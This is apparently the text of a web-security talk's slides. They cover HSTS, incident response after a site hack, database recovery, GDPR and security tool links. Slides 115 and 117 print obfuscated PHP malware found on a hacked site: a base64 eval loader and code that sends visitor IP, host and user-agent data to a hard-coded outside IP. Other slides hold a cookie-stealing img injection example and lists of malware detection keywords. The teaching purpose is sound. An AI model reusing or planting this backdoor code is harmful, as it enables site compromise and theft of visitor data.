  • 112. What's the problem with public wifi ? Traffic can be intercepted Traffic hijacking / injection Forcing site to use HTTPS fixes it right ? What if user goes to some other HTTP site and I inject <img src=”http://yoursite.com/someurl”> ? → Session cookies are transmitted over HTTP Use HSTS HTTP Strict Transport Security Tells browser to use only HTTPS connections Strict-Transport-Security: max-age=expireTime [; includeSubDomains] [; preload] Chrome 4+, FF 4+, IE 11+, Opera 12+, Safari 7+
  • 113. One IDS distro to rule them all Security Onion Based on Ubuntu Contains all the IDS tools... ...and much more
  • 114. You've been hacked ! Now what ? (1/4) Take your application offline → Put up a maintenance page (on a different server) Take the server off the public Internet Change your SSH keys Make a full backup Check for cronjobs Check access/error/... logs (And give them to legal department) Were any commits made from the server ? → Your server shouldn't be able to !
  • 115. What a PHP hack might look like eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0 xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW 5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW 9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRG ODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNk U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
  • 116. What a PHP hack might look like
  • 117. What a PHP hack might look like $GLOBALS['_226432454_']=Array(); function _1618533527($i) { return '91.196.216.64'; } $ip=_1618533527(0); $GLOBALS['_1203443956_'] = Array('urlencode'); function _1847265367($i) { $a=Array('http://','/btt.php? ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i]; } $url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) . $_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)]; $GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents'); function _393632915($i) { return 'curl_version'; }
  • 118. What a PHP hack might look like - location Changes to .htaccess Files in upload directory PHP code in files with different extension New modules/plugins for Drupal/Wordpress
  • 119. You've been hacked ! Now what ? (2/4) Search system preg_replace base64_decode eval system exec passthru Search system and database script iframe
  • 120. You've been hacked ! Now what ? (3/4) Find out how the hack happened ;-) Write an apology to your customers Finally : Reinstall the OS (from scratch !) Update all packages to the latest version Don't reinstall code from backup ! Install source code from versioning system Restore DB from previous backup (use binary log file)
  • 121. Restoring your database to a specific point Turn on binary log Usually for master-slave replication Useful for fast recovery Make sure it can handle >24h of data Make a daily database backup Make a db dump to a file (mysqldump, …) Warning : locking danger → do this on the slave ! Backup the db dump file To recover : Restore the db dump file Disable db access (webserver, internal users, phpMyAdmin, ...) Import db dump file to db Replay binary log (mysqlbinlog …)
  • 122. You've been hacked ! Now what ? (4/4) Install IDS Get an external security audit on the code Get an external security audit on the system/network setup Change user passwords Relaunch Cross your fingers
  • 123. Side note : GDPR General Data Protection Regulation New European privacy law 1 law for all member states Takes effect May 25, 2018 Fines for data loss of up to 4% of annual turnover or 20 million Euros (whichever is higher)
  • 124. GDPR – what is private data ? Anything that identifies a private individual A unique name ‘Mike Johnson’ is not very unique, but combined with other things it is ‘Wim Godden’ is An e-mail address An IP address A combination of data Order + address ...
  • 125. GDPR – basic guidelines Privacy by design Security by design Only store the private data that you really need Procedures must be created for how data is : Stored Processed Deleted Backed up These procedures will serve as a way to prove you’ve done all you can
  • 126. Takeaways Think like a hacker Can I steal data ? Can I DOS the site ? Which techniques could I use to do it ? Try it without looking at the code Try it while looking at the code Use SSL/HTTPS everywhere ! Block all traffic, then allow only what's needed Sanitize/filter your input Escape your output Block flooders/scanners Use an IDS Never trust a hacked system Prepare for GDPR
  • 127. The software discussed (and more) General resources OWASP : www.owasp.org SANS : http://www.sans.org/security-resources/ SecurityFocus : http://www.securityfocus.com/ CERT : http://cert.org/ SecTools : http://sectools.org/ SQL injection Havij (automated tool) – WARNING – trojan infected !!!! : https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z sqlmap (automated – open source) : http://sqlmap.org/ Clickjacking demo : https://www.youtube.com/watch?v=3mk0RySeNsU
  • 128. The software discussed (and more) Password use in PHP 5.5+ : password_hash function : http://php.net/password_hash < 5.5 : password_compat : https://github.com/ircmaxell/password_compat SSL certificates RapidSSL FreeSSL : https://www.freessl.com/ Let's Encrypt (free) : https://letsencrypt.org/ StartSSL : https://www.startssl.com Block access to .svn and .git : http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-fol
  • 129. The software discussed (and more) Webserver flood/scan detection Nginx : http://nginx.com/resources/admin-guide/restricting-access/ Multi-webserver : http://www.fail2ban.org Proxy-based : http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html Protecting your mail server SPF and DomainKeys : http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/ DNS Hijacking : http://www.gohacking.com/dns-hijacking/ Spoofing : http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio IPv6 – don't forget to firewall it the same way : https://www.sixxs.net/wiki/IPv6_Firewalling
  • 130. The software discussed (and more) Slow HTTP DOS attacks : https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate IDS PHP PHPIDS : https://github.com/PHPIDS/PHPIDS Exposé : https://github.com/enygma/expose Host-based OSSEC : www.ossec.net Samhain : http://www.la-samhna.de/samhain/ AIDE : http://aide.sourceforge.net/ Network-based Snort : https://www.snort.org/ Sirucata : http://suricata-ids.org/ All in one : Security Onion : http://blog.securityonion.net/
  • 131. The software discussed (and more) Penetration testing live CD : Backtrack Linux : http://www.backtrack-linux.org/ Kali Linux : https://www.kali.org/ Automatic scanning tools : Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner Wapiti : http://wapiti.sourceforge.net/ Nexpose : http://www.rapid7.com/products/nexpose/ Web App Scanning / Auditing : w3af : http://w3af.org/ Wapiti : http://wapiti.sourceforge.net/ Nikto2 : https://cirt.net/nikto2
  • 134. In case you're interested Tutorial : 2,5h - 3h Training : 2 days 1,5 days of interactive training (partly slides, partly hands-on) Try out different security issues Experiment on local virtualboxes and physical machines we bring along 0,5 day of auditing Your code Your servers Your network As a global team effort or in smaller teams More details : https://cu.be/training
  • 135. Contact Twitter @wimgtr Slides http://www.slideshare.net/wimg E-mail wim@cu.be Please provide feedback via : https://joind.in/